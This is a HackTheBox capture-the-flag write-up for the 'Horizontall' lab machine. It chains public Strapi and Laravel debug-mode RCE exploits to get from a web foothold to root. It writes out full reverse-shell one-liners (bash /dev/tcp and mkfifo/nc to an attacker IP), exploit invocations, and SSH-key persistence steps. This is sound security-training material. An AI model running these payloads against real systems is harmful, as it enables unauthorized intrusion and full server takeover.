HTB: Horizontall Writeup

Horizontall - HackTheBox Writeup

Machine Information

AttributeDetails
NameHorizontall
OSLinux
DifficultyEasy
PointsN/A
Release Date3 February 2022
IP Address10.10.11.105
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Horizontall is an easy Linux machine featuring a Vue.js frontend that leaks a virtual host via source code inspection. The discovered Strapi Headless CMS instance is vulnerable to unauthenticated remote code execution through two chained CVEs (CVE-2019-18818 and CVE-2019-19609), granting initial foothold as the strapi user. Lateral enumeration reveals a Laravel application running on localhost in debug mode, vulnerable to CVE-2021-3129, leading to remote code execution as root via SSH port forwarding.

TL;DR: Source code review → Strapi RCE → SSH tunneling → Laravel debug RCE → root


Reconnaissance

Port Scanning

Terminal window
# Initial fast scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.105

Results:

  • Port 22/tcp - SSH (OpenSSH)
  • Port 80/tcp - HTTP (Nginx)

Service Enumeration

HTTP (Port 80):

Initial access to port 80 redirects to http://horizontall.htb, requiring hosts file modification:

Terminal window
echo "10.10.11.105 horizontall.htb" | sudo tee -a /etc/hosts

The website is a Single Page Application (SPA) built with Vue.js. Inspecting the network requests and beautifying the JavaScript file app.c68eb462.js reveals an interesting GET request:

getReviews: function() {
var t = this;
r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
return t.reviews = s.data
}
}

A new virtual host is discovered: api-prod.horizontall.htb

API Virtual Host Enumeration:

Terminal window
echo "10.10.11.105 api-prod.horizontall.htb" | sudo tee -a /etc/hosts

Visiting http://api-prod.horizontall.htb returns a simple welcome message. Directory brute-forcing is needed:

Terminal window
gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o gobuster -t 50

The /admin directory reveals a Strapi CMS administrative panel—an open-source Node.js Headless CMS.

Vulnerability Assessment

Identified Vulnerabilities:

  1. CVE-2019-18818 + CVE-2019-19609 - Strapi ≤3.0.0-beta.17.4 unauthenticated RCE

    • Password reset endpoint accessible without authentication
    • Plugin installation endpoint allows arbitrary code execution
  2. CVE-2021-3129 - Laravel ≤8.4.2 debug mode RCE (discovered during privilege escalation)


Initial Foothold

Exploitation Path

Step 1: Identify Strapi Version

Terminal window
curl http://api-prod.horizontall.htb/admin/init

Response confirms version 3.0.0-beta.17.4, matching known vulnerable version.

Step 2: Obtain Public Exploit

Terminal window
searchsploit strapi 3.0.0
searchsploit -m 50239.py

The exploit leverages two CVEs:

  • CVE-2019-18818: Reset admin password via /admin/auth/reset-password endpoint (bypasses authentication)
  • CVE-2019-19609: Execute arbitrary code via plugin installation endpoint

Step 3: Execute RCE Exploit

Terminal window
python3 50239.py http://api-prod.horizontall.htb

The script automatically:

  1. Resets admin password to SuperStrongPassword1
  2. Authenticates and obtains JWT token
  3. Provides interactive shell for command execution

Step 4: Obtain Reverse Shell

Set up netcat listener on attack machine:

Terminal window
nc -lvnp 9001

Execute reverse shell through the exploit terminal:

$> bash -c 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1'

Receive connection as strapi user.

Step 5: Stabilize Shell

Terminal window
script /dev/null -c bash
# Press Ctrl+Z
stty raw -echo; fg
# Press Enter twice

Step 6: Establish SSH Access (Optional but Recommended)

Create SSH directory:

Terminal window
mkdir -p /opt/strapi/.ssh

On attack machine, generate key pair:

Terminal window
ssh-keygen -t rsa -f strapi -N ""

Copy public key to remote:

Terminal window
cat strapi.pub | tee /opt/strapi/.ssh/authorized_keys

Connect via SSH for stable session:

Terminal window
ssh -i strapi strapi@horizontall.htb

Privilege Escalation

Enumeration of Local Services

From within the strapi user shell, identify services listening on localhost:

Terminal window
netstat -tuln | grep LISTEN
# or
ss -tuln | grep LISTEN

Discovery:

  • Port 3306 (MySQL)
  • Port 1337 (Strapi - already known)
  • Port 8000 (Unknown service)

Verify port 8000:

Terminal window
curl http://localhost:8000

Response indicates Laravel framework running on this port. This service was not visible during initial external reconnaissance.

SSH Port Forwarding

Forward local port to access the hidden Laravel instance:

Terminal window
ssh -i strapi -L 8000:localhost:8000 strapi@horizontall.htb

Now accessible at http://localhost:8000 from attack machine.

Laravel Version Detection

Visiting http://localhost:8000/profiles triggers an error page revealing:

Laravel v8 (PHP v7.4.18) - Debug Mode Enabled

Laravel RCE Exploitation (CVE-2021-3129)

Laravel ≤8.4.2 running in debug mode is vulnerable to RCE. Clone PoC:

Terminal window
git clone https://github.com/nth347/CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit
chmod +x exploit.py

Set up listener on attack machine:

Terminal window
nc -lvnp 9001

Execute exploit with reverse shell payload:

Terminal window
./exploit.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 9001 >/tmp/f'

Receive reverse shell as root user.

Read root flag:

Terminal window
cat /root/root.txt

Attack Chain Summary

Source Code Review (Vue.js JS files)
Virtual Host Discovery (api-prod.horizontall.htb)
Strapi CMS Identification
CVE-2019-18818 Password Reset (unauthenticated)
CVE-2019-19609 Plugin RCE (authenticated)
Initial Foothold (strapi user)
SSH Key Setup
Local Service Enumeration (port 8000)
SSH Port Forwarding
Laravel Instance Discovery
CVE-2021-3129 Debug Mode RCE
Root Access

Tools Used

ToolPurpose
nmapPort scanning and service detection
curlManual HTTP requests and version checking
gobusterDirectory brute-forcing
searchsploitCVE database and exploit discovery
python3Exploit execution (Strapi RCE)
nc (netcat)Reverse shell listener
sshSecure shell and port forwarding
gitCloning exploit repositories

Key Learnings

Techniques Practiced

  • JavaScript source code review for information disclosure
  • Virtual host discovery and enumeration
  • Chained CVE exploitation (multi-stage attack)
  • SSH port forwarding for accessing hidden services
  • Framework-specific vulnerability identification
  • Reverse shell payload crafting and stabilization
  • Debug mode exploitation in production environments

Lessons Learned

  1. Always inspect frontend source code - Client-side JavaScript often contains sensitive endpoints, API URLs, and configuration details not immediately visible in rendered HTML.

  2. Enumerate hidden services on localhost - Many developers expose internal services only on localhost, assuming they are safe. These must be enumerated during privilege escalation reconnaissance.

  3. SSH port forwarding is powerful - Combining SSH access with port forwarding allows attacking services that are not externally exposed, enabling lateral movement and privilege escalation.

  4. Framework versions matter critically - Security vulnerabilities in popular frameworks (Laravel, Strapi, etc.) are well-documented and easily exploitable. Always identify and assess framework versions during reconnaissance.

  5. Debug mode is dangerous in production - Running web frameworks in debug mode on production systems can leak sensitive information and provide direct paths to code execution.

  6. Chained CVE exploitation - Multiple lesser vulnerabilities can be combined to achieve impact. CVE-2019-18818 alone is useless without CVE-2019-19609, but together they enable full RCE.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>